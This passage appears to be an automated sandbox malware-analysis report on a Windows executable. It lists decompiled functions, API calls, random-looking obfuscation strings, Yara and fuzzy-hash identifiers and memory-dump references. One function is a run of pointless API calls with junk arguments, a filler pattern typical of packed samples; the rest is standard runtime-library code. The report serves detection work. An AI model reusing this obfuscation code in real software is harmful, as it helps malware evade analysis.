WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419E60
SetPriorityClass.KERNEL32(00000000,00000000), ref: 00419E6A

Strings

pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow, xrefs: 00419D12
yobahojicusenino, xrefs: 00419D17
wegazevevemitohokababawijufapiyodewemu, xrefs: 00419CEF
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419CE5
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419D78
gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419CEA
leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled, xrefs: 00419D0D
u7, xrefs: 00419DA4

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Profile$InfoString$ConsoleDirectoryErrorLastProcessWrite$CharacterClassCursorDiskFreeGlobalHeapHeapsOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled$pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$yobahojicusenino$u7
API String ID: 1951985626-1659383190
Opcode ID: 2212e4336aa635a13751700dff21464971a73106310da381bf556ce8c8d9527c
Instruction ID: ccd1f4c23dbed7b6530473a04afb7f2c1466742b8e331061ee6d6aa8b0d0e808
Opcode Fuzzy Hash: 2212e4336aa635a13751700dff21464971a73106310da381bf556ce8c8d9527c
Instruction Fuzzy Hash: 4E414F35945258EBEB60DB90DE1AFD977B9AB04706F1000A6F24AB54E0C7B81AC4CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00419A51, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 110
timefilepipeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00419A51(union _FINDEX_INFO_LEVELS _a4) {
				void* _v8;
				void* _v22;
				struct _SYSTEMTIME _v24;
				void* _v38;
				struct _SYSTEMTIME _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _DCB _v88;
				struct _TIME_ZONE_INFORMATION _v260;
				void _v1284;
				char _v3332;
				intOrPtr _t25;
				union _FINDEX_INFO_LEVELS _t27;
				void* _t54;

				if( *0x54abf4 == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsW(L"lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix",  &_v88,  &_v60);
					CreateMailslotA("kinekecusaz", 0, 0, 0);
					CallNamedPipeA(0, 0, 0, 0, 0, 0, 0);
					ReleaseSemaphore(0, 0, 0);
					FindAtomA(0);
					_v40.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v24.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					SystemTimeToTzSpecificLocalTime( &_v260,  &_v40,  &_v24);
					__imp__SetComputerNameExA(0, "Hay sexulilef", _t54);
					SetConsoleCursorInfo(0, 0);
					TlsGetValue(0);
					CopyFileA(0, 0, 0);
					__imp__GetLongPathNameW(0,  &_v3332, 0);
					__imp__SetVolumeMountPointW(0, 0);
					SetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsA(0);
					GetDriveTypeA("yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas");
					FindFirstFileExW(L"gocibuzoluxomebaxabuviyupezadapebetag", _a4,  &_v1284, _a4, 0, 0);
				}
				_v8 = 0;
				_t25 =  *0x54abf8; // 0x3f6faa
				_v8 = _v8 + _t25;
				_v8 = _v8 + 0x12336;
				_t27 = _a4;
				 *((char*)( *0x443950 + _t27)) =  *((intOrPtr*)(_v8 + _t27));
				return _t27;
			}

0x00419a64
0x00419a6d
0x00419a73
0x00419a74
0x00419a75
0x00419a76
0x00419a84
0x00419a92
0x00419a9f
0x00419aa8
0x00419aaf
0x00419ab7
0x00419abe
0x00419abf
0x00419ac0
0x00419ac1
0x00419ac5
0x00419acc
0x00419acd
0x00419ace
0x00419acf
0x00419ae0
0x00419aec
0x00419af4
0x00419afb
0x00419b04
0x00419b13
0x00419b1b
0x00419b23
0x00419b2a
0x00419b35
0x00419b4f
0x00419b55
0x00419b56
0x00419b59
0x00419b5e
0x00419b66
0x00419b69
0x00419b78
0x00419b7d

APIs

BuildCommDCBAndTimeoutsW.KERNEL32 ref: 00419A84
CreateMailslotA.KERNEL32 ref: 00419A92
CallNamedPipeA.KERNEL32 ref: 00419A9F
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00419AA8
FindAtomA.KERNEL32(00000000), ref: 00419AAF
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00419AE0
SetComputerNameExA.KERNEL32(00000000,Hay sexulilef), ref: 00419AEC
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419AF4
TlsGetValue.KERNEL32(00000000), ref: 00419AFB
CopyFileA.KERNEL32 ref: 00419B04
GetLongPathNameW.KERNEL32 ref: 00419B13
SetVolumeMountPointW.KERNEL32(00000000,00000000), ref: 00419B1B
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 00419B23
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00419B2A
GetDriveTypeA.KERNEL32(yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas), ref: 00419B35
FindFirstFileExW.KERNEL32(gocibuzoluxomebaxabuviyupezadapebetag,?,?,?,00000000,00000000), ref: 00419B4F

Strings

lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix, xrefs: 00419A7F
gocibuzoluxomebaxabuviyupezadapebetag, xrefs: 00419B4A
kinekecusaz, xrefs: 00419A8D
yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas, xrefs: 00419B30
Hay sexulilef, xrefs: 00419AE6

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: FileFindNameTime$AtomBoostBuildCallCommComputerConsoleCopyCreateCursorDriveEnvironmentFirstFreeInfoLocalLongMailslotMountNamedPathPipePointPriorityProcessReleaseSemaphoreSpecificStringsSystemTimeoutsTypeValueVolume
String ID: Hay sexulilef$gocibuzoluxomebaxabuviyupezadapebetag$kinekecusaz$lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix$yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas
API String ID: 118337534-3095731778
Opcode ID: e573c460bed796eb5413d87c2162a415d2e8dfe96fee340fe19ab8a87093e7e6
Instruction ID: 12ae2f3e0c0c6b67ce5f1d299fd82623ab04eb9b39df9bc3ae5789b0f7edbc13
Opcode Fuzzy Hash: e573c460bed796eb5413d87c2162a415d2e8dfe96fee340fe19ab8a87093e7e6
Instruction Fuzzy Hash: 73311676802568BFD7519BE4DE08DDFBFBCEF0A351B104022F245E2030D6385A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042BCD0, Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0042BCD0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x440354; // 0x8c5b84b0
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x54b520 = _t6;
				 *0x54b51c = _t20;
				 *0x54b518 = _t22;
				 *0x54b514 = _t19;
				 *0x54b510 = _t25;
				 *0x54b50c = _t24;
				 *0x54b538 = ss;
				 *0x54b52c = cs;
				 *0x54b508 = ds;
				 *0x54b504 = es;
				 *0x54b500 = fs;
				 *0x54b4fc = gs;
				asm("pushfd");
				_pop( *0x54b530);
				 *0x54b524 =  *_t29;
				 *0x54b528 = _v0;
				 *0x54b534 =  &_a4;
				 *0x54b470 = 0x10001;
				 *0x54b424 =  *0x54b528;
				 *0x54b418 = 0xc0000409;
				 *0x54b41c = 1;
				_t21 =  *0x440354; // 0x8c5b84b0
				_v812 = _t21;
				_t23 =  *0x440358; // 0x73a47b4f
				_v808 = _t23;
				 *0x54b468 = IsDebuggerPresent();
				_push(1);
				E00429A10(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x408078);
				if( *0x54b468 == 0) {
					_push(1);
					E00429A10(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0042bcd0
0x0042bcd0
0x0042bcd0
0x0042bcd0
0x0042bcd0
0x0042bcd0
0x0042bcd0
0x0042bcd6
0x0042bcd8
0x0042bcd8
0x004362fb
0x00436300
0x00436306
0x0043630c
0x00436312
0x00436318
0x0043631e
0x00436325
0x0043632c
0x00436333
0x0043633a
0x00436341
0x00436348
0x00436349
0x00436352
0x0043635a
0x00436362
0x0043636d
0x0043637c
0x00436381
0x0043638b
0x00436395
0x0043639b
0x004363a1
0x004363a7
0x004363b3
0x004363b8
0x004363ba
0x004363c4
0x004363cf
0x004363dc
0x004363de
0x004363e0
0x004363e5
0x004363fd

APIs

IsDebuggerPresent.KERNEL32 ref: 004363AD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004363C4
UnhandledExceptionFilter.KERNEL32(00408078), ref: 004363CF
GetCurrentProcess.KERNEL32(C0000409), ref: 004363ED
TerminateProcess.KERNEL32(00000000), ref: 004363F4

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 7a6235e6c290a19589d1251c094355ce268a764e83fa03d86cfacb8e59d4e232
Instruction ID: 10caeb0ffa632f44bcbc282e7b1ea23dd355cda81aa60ba0156c8540be74efdc
Opcode Fuzzy Hash: 7a6235e6c290a19589d1251c094355ce268a764e83fa03d86cfacb8e59d4e232
Instruction Fuzzy Hash: 2221F7BC8013049FEB04DF65FD446D4BBA0BB2A318F10516AE90993371F7748589EF49

Uniqueness

Uniqueness Score: -1.00%

Function 00428530, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00428530() {

				SetUnhandledExceptionFilter(E004284C0);
				return 0;
			}

0x0042853a
0x00428543

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000284C0), ref: 0042853A

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 96b597e8fe1f25f32a9ed92385de057acd8d0fd8c106a41a69e6147fcbfc5475
Instruction ID: 6a25b0af16557bcebf7e94f996074d1af8fee1a5ad1f3c276ade89cb02d9f4b3
Opcode Fuzzy Hash: 96b597e8fe1f25f32a9ed92385de057acd8d0fd8c106a41a69e6147fcbfc5475
Instruction Fuzzy Hash: 46B0123124524927460037F27D09D073A8CC9D47243920165F00CD1010EC61A4004059

Uniqueness

Uniqueness Score: -1.00%

Function 005631FF, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.664684396.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_sbxGIUIhRd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction ID: 655e95133db6efd1dbc1672fa7501a9956dabf5856d1f9b9edf42e83a8ddd12d
Opcode Fuzzy Hash: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction Fuzzy Hash: 7F31A0296444599ECF2D47B0D45A1D1BFA0EF5A304B690DCAC7919FD57CA306443C793

Uniqueness

Uniqueness Score: -1.00%

Function 00563253, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.664684396.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_sbxGIUIhRd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction ID: 80d16334963ad24dcc9d48de85bee38f46bb271a5eed60c80db7a0962856a095
Opcode Fuzzy Hash: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction Fuzzy Hash: 8D319C29A0485D9FCB2D47759058191BB94EF5E304FB60DCAC791AFD57CB306843C293

Uniqueness

Uniqueness Score: -1.00%

Function 00560042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.664684396.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_sbxGIUIhRd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: beb2ced2eae6b98105e8cc05f25ef8567797c53ec77e0cee5e22e2d67bea7a7d
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: BA117C72340100AFEB54DE65DC99FA777EAFB88330B698165E908CB352D676EC01C760

Uniqueness

Uniqueness Score: -1.00%

Function 0042C35E, Relevance: 96.7, APIs: 33, Strings: 22, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042C35E(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L00422E80(_t210));
						 *(L00422E80( *(L00422E80(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E004362C0(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E0041DA60( *((intOrPtr*)(L00422E80(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L00422E80(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E0041DFD0(E0041DB50(_t208, _t210, _t261, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x130, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E0041DFD0(E0041DB50(_t208, _t263 - 0x4030, _t261, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x135, 0);
						_t265 = _t265 + 0x24;
					}
					E0041DFD0(E00432140(_t208, _t210, _t259, _t261, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x137, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E0041DFD0(E00432140(_t208, _t234, _t259, _t261, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13c, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E0041DFD0(E00432140(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000, "\n"), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13d, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
						E0041DFD0(E0041DB50(_t208, _t263 - 0x4030, _t261, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14b, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L00422E80(_t210));
						 *(L00422E80(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E0042BCA0( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E0041DA60( *(L00422E80(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L00422E80(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E0041DFD0(E0041DB50(_t208, _t233, _t261, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x147, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = E00436D80(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E0041DA60( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x150, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E0041DFD0(E0042DBA0(_t208, _t263 - 0x2020, _t259, _t261, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x152, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0x54b818 != 0 ||  *0x54b814 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L0041E330(0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0x54b818;
						 *(_t263 - 0x5050) =  *0x54b818;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E0042C8F5();
							goto L44;
						}
						_t240 =  *0x54b814;
						 *(_t263 - 0x504c) =  *0x54b814;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0x54b810 != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0x54b810( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0x441070 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E0041DE30(_t263 - 0x3028);
									_t271 = _t271 + 4;
									WriteFile( *(0x441070 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E0041DFD0(E00436DB0(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1a2, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = L00429600(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
						 *(_t263 - 4) = 0xfffffffe;
						E0042CA5F();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E0042BCD0(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E0041DFD0(E00436DB0(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x119, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA("\n");
				E0042C260(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x0042c35e
0x0042c36b
0x0042c418
0x0042c41e
0x0042c42f
0x0042c43a
0x0042c452
0x0042c459
0x0042c45e
0x0042c461
0x0042c46e
0x0042c492
0x0042c497
0x0042c497
0x0042c49a
0x0042c49f
0x0042c4a5
0x0042c4ae
0x0042c4e0
0x0042c4e5
0x0042c4e5
0x0042c4ae
0x0042c4ec
0x0042c4f2
0x0042c500
0x0042c4f4
0x0042c4f4
0x0042c4f4
0x0042c52c
0x0042c53c
0x0042c541
0x0042c541
0x0042c576
0x0042c57b
0x0042c582
0x0042c584
0x0042c591
0x0042c5c3
0x0042c5c8
0x0042c5c8
0x0042c5eb
0x0042c5fb
0x0042c600
0x0042c600
0x0042c607
0x0042c717
0x0042c71c
0x0042c60d
0x0042c60d
0x0042c61e
0x0042c629
0x0042c635
0x0042c636
0x0042c639
0x0042c654
0x0042c659
0x0042c65c
0x0042c669
0x0042c68d
0x0042c692
0x0042c692
0x0042c6a0
0x0042c6a9
0x0042c6db
0x0042c6e0
0x0042c6e0
0x0042c6e3
0x0042c71f
0x0042c729
0x0042c748
0x0042c757
0x0042c77e
0x0042c783
0x0042c78d
0x0042c7bf
0x0042c7c4
0x0042c7c4
0x0042c7ce
0x0042c7dd
0x0042c7e7
0x0042c7f3
0x0042c7f8
0x0042c7fb
0x0042c802
0x0042c808
0x0042c81f
0x0042c828
0x0042c844
0x0042c84d
0x0042c84f
0x0042c854
0x0042c819
0x00000000
0x0042c819
0x0042c856
0x0042c866
0x00000000
0x0042c866
0x0042c877
0x0042c8e7
0x0042c8e7
0x0042c8ee
0x00000000
0x0042c8ee
0x0042c879
0x0042c87f
0x0042c896
0x0042c89f
0x0042c8bb
0x0042c8c4
0x0042c8c6
0x0042c8cb
0x0042c890
0x00000000
0x0042c890
0x0042c8cd
0x0042c8dd
0x00000000
0x0042c8dd
0x00000000
0x0042c900
0x0042c900
0x0042c907
0x0042c914
0x0042c916
0x0042c920
0x0042c932
0x0042c938
0x0042c93d
0x0042c93f
0x0042c949
0x0042c94f
0x0042c94f
0x0042c93d
0x0042c95c
0x0042c96f
0x0042c98e
0x0042c993
0x0042c9a9
0x0042c9a9
0x0042c9bc
0x0042c9c5
0x0042c9c5
0x0042c9cb
0x0042c9d8
0x0042c9da
0x0042c9e5
0x0042ca18
0x0042ca1d
0x0042ca1d
0x0042ca30
0x0042ca3f
0x0042ca4b
